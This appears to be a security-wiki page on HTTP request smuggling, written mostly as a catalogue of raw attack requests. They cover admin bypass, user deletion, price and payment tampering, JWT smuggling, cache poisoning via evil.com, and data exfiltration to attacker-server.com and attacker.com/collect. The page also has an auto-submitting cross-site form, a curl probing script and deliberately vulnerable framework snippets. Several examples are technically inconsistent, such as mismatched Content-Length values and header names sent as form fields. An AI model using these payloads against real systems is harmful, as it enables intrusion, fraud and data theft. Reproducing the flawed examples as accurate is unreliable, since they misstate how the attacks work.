HTTP Request Smuggling
What is HTTP Request Smuggling?
HTTP Request Smuggling is a critical web vulnerability that exploits differences in how front-end servers (load balancers, reverse proxies, CDNs) and back-end servers parse HTTP requests. When these components disagree about where one request ends and another begins, attackers can "smuggle" requests that bypass security controls, hijack other users' requests, and perform unauthorized actions.
Vulnerable Scenario Example
POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Different Technology Handling:
Front-end Server: Processes based on
Transfer-Encoding: chunked
→ Sees request ending after "0\r\n\r\n"Back-end Server: Processes based on
Content-Length: 13
→ Treats "SMUGGLED" as part of next requestResult: "SMUGGLED" gets prepended to the next user's request
How HTTP Request Smuggling Works
Request smuggling exploits the HTTP/1.1 specification ambiguity when both Content-Length
and Transfer-Encoding
headers are present. RFC 7230 states that Transfer-Encoding
should take precedence, but implementations vary.
Request Processing Flow
Client Request - Sends HTTP request with conflicting headers
Front-end Server - Parses request using one method (CL or TE)
Back-end Server - Parses the same request using different method
Desynchronization - Servers disagree on request boundaries
Request Queue Poisoning - Smuggled content affects subsequent requests
Impact and Consequences
Authentication Bypass - Hijacking authenticated sessions
Authorization Bypass - Accessing restricted endpoints
Request Hijacking - Stealing sensitive data from other users
Cache Poisoning - Poisoning web caches with malicious content
Security Control Bypass - Evading WAFs, rate limiting, and logging
Privilege Escalation - Accessing administrative functions
HTTP Request Boundary Fundamentals
Content-Length (CL) Method
Specifies the exact number of bytes in the request body:
POST /api/data HTTP/1.1
Host: example.com
Content-Length: 27
{"username": "testuser"}
Transfer-Encoding: chunked (TE) Method
Uses chunked encoding with size indicators:
POST /api/data HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
1b
{"username": "testuser"}
0
Conflicting Headers - The Root Cause
When both headers are present, different servers may prioritize differently:
POST /api/data HTTP/1.1
Host: example.com
Content-Length: 27
Transfer-Encoding: chunked
1b
{"username": "testuser"}
0
SMUGGLED_CONTENT
Technology-Specific Parsing Behavior
Front-end Technologies
HAProxy:
Default: Prioritizes
Transfer-Encoding
Behavior: Processes chunked encoding when present
Configuration dependent on
option http-server-close
Nginx:
Default: Prioritizes
Transfer-Encoding
Behavior: Rejects requests with both headers by default
Can be configured to allow conflicting headers
Apache HTTP Server:
Default: Prioritizes
Content-Length
mod_proxy behavior: May forward conflicting headers
Version-dependent processing differences
Cloudflare:
Default: Normalizes requests, removes conflicting headers
Edge cases: May pass through certain malformed requests
Geographic variation in processing
AWS Application Load Balancer:
Default: Prioritizes
Transfer-Encoding
Behavior: Validates chunked encoding format
May reject malformed chunk sizes
Back-end Technologies
Apache Tomcat:
// Default behavior: Content-Length priority
// Connector configuration affects parsing
// server.xml configuration:
<Connector port="8080"
protocol="HTTP/1.1"
allowChunking="true"
maxHttpHeaderSize="8192" />
Node.js (Express):
// Default: Strict parsing, rejects conflicting headers
app.use(express.json({ strict: true }));
// Vulnerable configuration:
app.use((req, res, next) => {
// Manual parsing can introduce vulnerabilities
let body = '';
req.on('data', chunk => body += chunk);
req.on('end', () => {
req.body = body;
next();
});
});
Python (Gunicorn/uWSGI):
# Gunicorn: Prioritizes Content-Length
# uWSGI: Configurable behavior
# wsgi.py - Vulnerable parsing:
def application(environ, start_response):
content_length = environ.get('CONTENT_LENGTH', '0')
body = environ['wsgi.input'].read(int(content_length))
# Vulnerable to CL.TE attacks
IIS (Internet Information Services):
Default: Prioritizes
Content-Length
ASP.NET Core: Different behavior than IIS
Version-specific parsing differences
Jetty:
// Default: Transfer-Encoding priority
// Version 9.4.x behavior:
HttpConfiguration config = new HttpConfiguration();
config.setRequestHeaderSize(8192);
config.setResponseHeaderSize(8192);
// Vulnerable to certain TE.CL attacks
Basic Request Smuggling Techniques
CL.TE (Content-Length.Transfer-Encoding) Attacks
Attack Vector:
Front-end uses
Content-Length
Back-end uses
Transfer-Encoding
Basic CL.TE Attack:
POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
Analysis:
Front-end: Reads 6 bytes ("0\r\n\r\nX") → Forwards entire payload
Back-end: Processes chunked encoding → Sees "0\r\n\r\n" as complete request
Result: "X" remains in buffer for next request
Advanced CL.TE Exploitation:
POST /api/login HTTP/1.1
Host: vulnerable-app.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /admin/users HTTP/1.1
Host: vulnerable-app.com
TE.CL (Transfer-Encoding.Content-Length) Attacks
Attack Vector:
Front-end uses
Transfer-Encoding
Back-end uses
Content-Length
Basic TE.CL Attack:
POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Analysis:
Front-end: Processes chunked → Reads "8\r\nSMUGGLED\r\n0\r\n\r\n"
Back-end: Uses Content-Length: 3 → Only reads "8\r\n"
Result: "SMUGGLED\r\n0\r\n\r\n" prepended to next request
Advanced TE.CL Exploitation:
POST /api/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /admin/delete-user HTTP/1.1
Host: vulnerable-app.com
Content-Length: 10
user_id=123
0
TE.TE (Transfer-Encoding.Transfer-Encoding) Attacks
Attack Vector:
Both servers support
Transfer-Encoding
but parse it differentlyExploits header obfuscation and processing differences
Header Obfuscation Techniques:
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-encoding: chunked
Transfer-Encoding: chunked, identity
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Basic TE.TE Attack:
POST /search HTTP/1.1
Host: vulnerable-app.com
Transfer-Encoding: chunked
Transfer-Encoding: x
2e
POST /admin/panel HTTP/1.1
Host: vulnerable-app.com
0
Advanced TE.TE with Header Splitting:
POST /api/data HTTP/1.1
Host: vulnerable-app.com
Transfer-Encoding: chunked
Transfer-Encoding:
identity
0
POST /admin/config HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer admin_token
Authentication and Authorization Bypass
Session Hijacking
Basic Session Hijacking:
POST /api/profile HTTP/1.1
Host: vulnerable-app.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /api/sensitive HTTP/1.1
Host: vulnerable-app.com
When the next user makes a request:
GET /api/public HTTP/1.1
Host: vulnerable-app.com
Cookie: session=victim_session_token
The back-end processes:
GET /api/sensitive HTTP/1.1
Host: vulnerable-app.com
GET /api/public HTTP/1.1
Host: vulnerable-app.com
Cookie: session=victim_session_token
Advanced Session Hijacking with Response Capture:
POST /api/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 150
Transfer-Encoding: chunked
0
POST /api/capture HTTP/1.1
Host: attacker-server.com
Content-Length: 200
Content-Type: application/x-www-form-urlencoded
stolen_data=
Admin Panel Access
Direct Admin Bypass:
POST /public/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 87
Transfer-Encoding: chunked
0
GET /admin/users HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer
Administrative Function Execution:
POST /api/upload HTTP/1.1
Host: vulnerable-app.com
Content-Length: 116
Transfer-Encoding: chunked
0
POST /admin/delete-all-users HTTP/1.1
Host: vulnerable-app.com
Content-Length: 0
JWT Token Smuggling
JWT Bypass Attack:
POST /api/public HTTP/1.1
Host: vulnerable-app.com
Content-Length: 198
Transfer-Encoding: chunked
0
GET /api/admin/secrets HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
JWT Injection via Smuggling:
POST /login HTTP/1.1
Host: vulnerable-app.com
Content-Length: 245
Transfer-Encoding: chunked
0
POST /api/validate-token HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/json
Content-Length: 150
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.signature"}
Business Logic Exploitation
E-commerce Price Manipulation
Price Override Attack:
POST /cart/checkout HTTP/1.1
Host: shop.example.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /admin/set-price HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
product_id=123&price=0.01
Inventory Bypass:
POST /cart/add-item HTTP/1.1
Host: shop.example.com
Content-Length: 180
Transfer-Encoding: chunked
0
POST /internal/update-inventory HTTP/1.1
Host: shop.example.com
Content-Length: 35
item_id=456&quantity=999999
Payment System Manipulation
Payment Amount Tampering:
POST /payment/initiate HTTP/1.1
Host: payment.example.com
Content-Length: 150
Transfer-Encoding: chunked
0
POST /internal/override-amount HTTP/1.1
Host: payment.example.com
Content-Length: 20
amount=1.00
Currency Manipulation:
POST /payment/process HTTP/1.1
Host: payment.example.com
Content-Length: 170
Transfer-Encoding: chunked
0
POST /admin/set-exchange-rate HTTP/1.1
Host: payment.example.com
Content-Length: 30
from=USD&to=EUR&rate=0.001
Cache Poisoning via Request Smuggling
Web Cache Deception
Basic Cache Poisoning:
POST /api/config HTTP/1.1
Host: vulnerable-app.com
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/config.js HTTP/1.1
Host: vulnerable-app.com
X-Cache-Key: poisoned
CDN Cache Poisoning:
POST /upload HTTP/1.1
Host: cdn.example.com
Content-Length: 200
Transfer-Encoding: chunked
0
GET /assets/app.js HTTP/1.1
Host: cdn.example.com
User-Agent: <script>alert('XSS')</script>
Response Queue Poisoning
Multi-Stage Cache Poisoning:
Stage 1 - Poison the cache:
POST /api/search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 180
Transfer-Encoding: chunked
0
GET /api/user-preferences HTTP/1.1
Host: vulnerable-app.com
X-Forwarded-Host: evil.com
Stage 2 - Victim requests:
GET /api/user-preferences HTTP/1.1
Host: vulnerable-app.com
Cookie: session=victim_session
Result: Victim receives malicious response from cache
Advanced Cache Poisoning Techniques
Cache Key Manipulation:
POST /search HTTP/1.1
Host: vulnerable-app.com
Content-Length: 220
Transfer-Encoding: chunked
0
GET /api/data?callback=legitCallback HTTP/1.1
Host: vulnerable-app.com
X-Original-URL: /api/data?callback=evilCallback
JSONP Hijacking via Cache:
POST /api/public HTTP/1.1
Host: vulnerable-app.com
Content-Length: 250
Transfer-Encoding: chunked
0
GET /api/jsonp?callback=processData HTTP/1.1
Host: vulnerable-app.com
Referer: https://evil.com
X-Forwarded-For: 127.0.0.1
Framework-Specific Vulnerabilities
Node.js/Express Applications
Express Body Parser Bypass:
// Vulnerable middleware configuration
app.use(express.json({ limit: '50mb' }));
app.use(express.raw({ type: 'application/octet-stream' }));
// Attack payload:
POST /api/upload HTTP/1.1
Host: nodejs-app.com
Content-Type: application/json
Content-Length: 100
Transfer-Encoding: chunked
0
POST /api/admin HTTP/1.1
Host: nodejs-app.com
Content-Type: application/json
{"admin": true}
Fastify Plugin Bypass:
// Vulnerable Fastify setup
fastify.register(require('fastify-multipart'));
fastify.addContentTypeParser('text/plain', function (req, done) {
// Vulnerable custom parser
});
Python Web Applications
Django Request Smuggling:
# settings.py - Vulnerable configuration
ALLOWED_HOSTS = ['*']
USE_X_FORWARDED_HOST = True
# Vulnerable middleware:
class VulnerableMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
# Direct body parsing without proper validation
body = request.body.decode('utf-8')
# Process body...
Attack against Django:
POST /django/api HTTP/1.1
Host: python-app.com
Content-Length: 150
Transfer-Encoding: chunked
0
POST /admin/users/ HTTP/1.1
Host: python-app.com
X-CSRFToken: bypassed
action=delete&id=all
Flask Application Vulnerability:
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/data', methods=['POST'])
def handle_data():
# Vulnerable: Direct access to environ
content_length = request.environ.get('CONTENT_LENGTH', 0)
body = request.environ['wsgi.input'].read(int(content_length))
# Process without validation...
Java Spring Applications
Spring Boot Request Smuggling:
// Vulnerable configuration
@Configuration
public class WebConfig {
@Bean
public TomcatServletWebServerFactory tomcatFactory() {
TomcatServletWebServerFactory factory = new TomcatServletWebServerFactory();
factory.addProtocolHandlers(new Http11NioProtocol());
// Vulnerable: No request validation
return factory;
}
}
Attack payload:
POST /spring/api/data HTTP/1.1
Host: java-app.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /actuator/shutdown HTTP/1.1
Host: java-app.com
Content-Type: application/json
{"graceful": false}
Spring Security Bypass:
@RestController
public class VulnerableController {
@PostMapping("/api/user")
public ResponseEntity<?> updateUser(HttpServletRequest request) {
// Vulnerable: Manual request parsing
String body = IOUtils.toString(request.getInputStream(), "UTF-8");
// Process without Spring's built-in validation
}
}
PHP Applications
PHP-FPM Request Smuggling:
<?php
// Vulnerable PHP configuration
// php.ini settings that can lead to vulnerabilities:
// allow_url_fopen = On
// allow_url_include = On
// Vulnerable request handling:
$content_length = $_SERVER['CONTENT_LENGTH'] ?? 0;
$raw_input = file_get_contents('php://input', false, null, 0, $content_length);
// Process without proper validation...
?>
WordPress Plugin Vulnerability:
<?php
// Vulnerable WordPress plugin
add_action('wp_ajax_custom_action', 'handle_custom_request');
add_action('wp_ajax_nopriv_custom_action', 'handle_custom_request');
function handle_custom_request() {
// Vulnerable: Direct $_POST access without nonce verification
$action = $_POST['action'] ?? '';
$data = $_POST['data'] ?? '';
// Process request without proper validation
if ($action === 'admin_function') {
// Execute admin function
}
}
?>
Advanced Attack Scenarios
Multi-Stage Request Smuggling
Stage 1: Reconnaissance
POST /api/info HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked
0
GET /debug/server-info HTTP/1.1
Host: target.com
Stage 2: Privilege Escalation
POST /api/login HTTP/1.1
Host: target.com
Content-Length: 180
Transfer-Encoding: chunked
0
POST /admin/create-user HTTP/1.1
Host: target.com
Content-Length: 50
username=attacker&password=pass&role=admin
Stage 3: Data Exfiltration
POST /api/search HTTP/1.1
Host: target.com
Content-Length: 250
Transfer-Encoding: chunked
0
POST /api/export-users HTTP/1.1
Host: attacker-server.com
Content-Length: 1000
Content-Type: application/json
{"destination": "https://attacker.com/collect"}
Cross-Site Request Smuggling (CSRS)
Traditional CSRF + Request Smuggling:
<!-- Attacker's website -->
<form id="smuggle" action="https://vulnerable-app.com/api/transfer" method="POST">
<input type="hidden" name="Content-Length" value="150">
<input type="hidden" name="Transfer-Encoding" value="chunked">
<textarea name="payload">0
POST /admin/delete-account HTTP/1.1
Host: vulnerable-app.com
Content-Length: 25
account_id=victim_account</textarea>
</form>
<script>document.getElementById('smuggle').submit();</script>
Microservices Request Smuggling
Service Mesh Exploitation:
POST /service-a/api HTTP/1.1
Host: microservice-mesh.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /service-b/admin/config HTTP/1.1
Host: microservice-mesh.com
X-Service-Auth: internal-token
Content-Length: 50
critical_setting=compromised_value
API Gateway Bypass:
POST /public/api/v1 HTTP/1.1
Host: api-gateway.com
Content-Length: 300
Transfer-Encoding: chunked
0
GET /internal/api/v2/admin/users HTTP/1.1
Host: internal-service.com
X-Gateway-Bypass: true
Authorization: Bearer internal_token
Request Smuggling Detection Techniques
Manual Testing Methods
Basic Detection Script:
#!/bin/bash
# Basic Request Smuggling Detection
TARGET="https://target.com"
ENDPOINT="/api/search"
# Test CL.TE vulnerability
echo "Testing CL.TE..."
curl -X POST "$TARGET$ENDPOINT" \
-H "Content-Length: 6" \
-H "Transfer-Encoding: chunked" \
-d $'0\r\n\r\nX' \
-v
# Test TE.CL vulnerability
echo "Testing TE.CL..."
curl -X POST "$TARGET$ENDPOINT" \
-H "Content-Length: 3" \
-H "Transfer-Encoding: chunked" \
-d $'8\r\nSMUGGLED\r\n0\r\n\r\n' \
-v
# Test TE.TE vulnerability
echo "Testing TE.TE..."
curl -X POST "$TARGET$ENDPOINT" \
-H "Transfer-Encoding: chunked" \
-H "Transfer-Encoding: x" \
-d $'0\r\n\r\nSMUGGLED' \
-v
Response Analysis Indicators
Successful Smuggling Indicators:
HTTP 400 "Bad Request" responses
HTTP 408 "Request Timeout" responses
Connection reset errors
Unusual response timing (delays or faster responses)
Error messages mentioning "chunked encoding" or "content length"
Empty responses when content expected
Responses containing smuggled request data
Last updated
Was this helpful?